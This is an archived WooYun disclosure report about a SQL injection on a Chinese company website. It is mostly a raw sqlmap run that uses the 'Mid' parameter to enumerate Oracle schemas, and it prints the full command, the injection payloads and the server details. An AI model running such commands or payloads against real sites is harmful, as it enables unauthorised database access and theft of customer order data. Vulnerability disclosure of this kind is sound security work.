乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-29: 细节已通知厂商并且等待厂商处理中 2015-05-03: 厂商已经确认,细节仅向厂商公开 2015-05-13: 细节向核心白帽子及相关领域专家公开 2015-05-23: 细节向普通白帽子公开 2015-06-02: 细节向实习白帽子公开 2015-06-17: 细节向公众公开
5.1来了,我也想好好过节,凑点积分,买礼物。。。
旗下快递公司,应该有订单信息吧,点到为止:
[root@Hacker~]# Sqlmap Sqlmap -u "http://www.cae.com.cn/webfunction/tpc/TPC_Index.aspx?Mid=d4c3636453364b3c828eee8f8bc3caf5" --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to[*] starting at 11:34:41[11:34:41] [INFO] testing connection to the target URL[11:34:42] [INFO] testing if the target URL is stable. This can take a couple of seconds[11:34:44] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parahow do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit][11:34:44] [INFO] testing if GET parameter 'Mid' is dynamic[11:34:44] [INFO] confirming that GET parameter 'Mid' is dynamic[11:34:45] [INFO] GET parameter 'Mid' is dynamic[11:34:46] [WARNING] heuristic (basic) test shows that GET parameter 'Mid' might not be injectable[11:34:46] [INFO] testing for SQL injection on GET parameter 'Mid'[11:34:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[11:34:47] [WARNING] reflective value(s) found and filtering out[11:34:52] [INFO] GET parameter 'Mid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable[11:34:58] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Oracle'do you want to include all tests for 'Oracle' extending provided level (1) and risk (1)? [Y/n] y[11:35:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[11:35:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[11:35:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[11:35:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[11:35:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'[11:35:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'[11:35:08] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'[11:35:09] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'[11:35:10] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'[11:35:11] [INFO] testing 'Oracle error-based - Parameter replace'[11:35:11] [INFO] testing 'MySQL inline queries'[11:35:11] [INFO] testing 'PostgreSQL inline queries'[11:35:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[11:35:11] [INFO] testing 'Oracle inline queries'[11:35:11] [INFO] testing 'SQLite inline queries'[11:35:11] [INFO] testing 'MySQL > 5.0.11 stacked queries'[11:35:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[11:35:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[11:35:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'[11:35:13] [INFO] testing 'Oracle stacked queries (heavy query)'[11:35:14] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'[11:35:14] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'[11:35:15] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[11:35:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[11:35:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[11:35:17] [INFO] testing 'Oracle AND time-based blind'[11:35:18] [INFO] testing 'Oracle AND time-based blind (comment)'[11:35:18] [INFO] testing 'Oracle AND time-based blind (heavy query)'[11:35:49] [INFO] GET parameter 'Mid' is 'Oracle AND time-based blind (heavy query)' injectable[11:35:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[11:35:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) techni[11:35:51] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Autom[11:35:55] [INFO] target URL appears to have 11 columns in query[11:36:04] [INFO] GET parameter 'Mid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'Mid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] nsqlmap identified the following injection points with a total of 63 HTTP(s) requests:---Place: GETParameter: Mid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Mid=d4c3636453364b3c828eee8f8bc3caf5' AND 2232=2232 AND 'Btil'='Btil Type: UNION query Title: Generic UNION query (NULL) - 11 columns Payload: Mid=-2306' UNION ALL SELECT NULL,CHR(113)||CHR(121)||CHR(118)||CHR(110)||CHR(113)||CHR(108)||CHR(110)||CHR(66)||CHR(66)||CHR(11 Type: AND/OR time-based blind Title: Oracle AND time-based blind (heavy query) Payload: Mid=d4c3636453364b3c828eee8f8bc3caf5' AND 6114=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_US---[11:36:36] [INFO] the back-end DBMS is Oracleweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Oracle[11:36:36] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes[11:36:36] [INFO] fetching database (schema) names[11:36:37] [INFO] the SQL query used returns 9 entries[11:36:38] [INFO] retrieved: "CAE"[11:36:39] [INFO] retrieved: "CTXSYS"[11:36:40] [INFO] retrieved: "DMSYS"[11:36:41] [INFO] retrieved: "MDSYS"[11:36:42] [INFO] retrieved: "OLAPSYS"[11:36:43] [INFO] retrieved: "SYS"[11:36:44] [INFO] retrieved: "SYSTEM"[11:36:44] [INFO] retrieved: "WKSYS"[11:36:45] [INFO] retrieved: "WMSYS"available databases [9]:[*] CAE[*] CTXSYS[*] DMSYS[*] MDSYS[*] OLAPSYS[*] SYS[*] SYSTEM[*] WKSYS[*] WMSYS[11:36:46] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unh[11:36:46] [INFO] fetched data logged to text files under 'F:\????\INJECT~1\SQLMAP~1.4\Bin\output\www.cae.com.cn'
5.1快乐!
危害等级:中
漏洞Rank:10
确认时间:2015-05-03 19:16
感谢对快递公司的支持和帮助!
暂无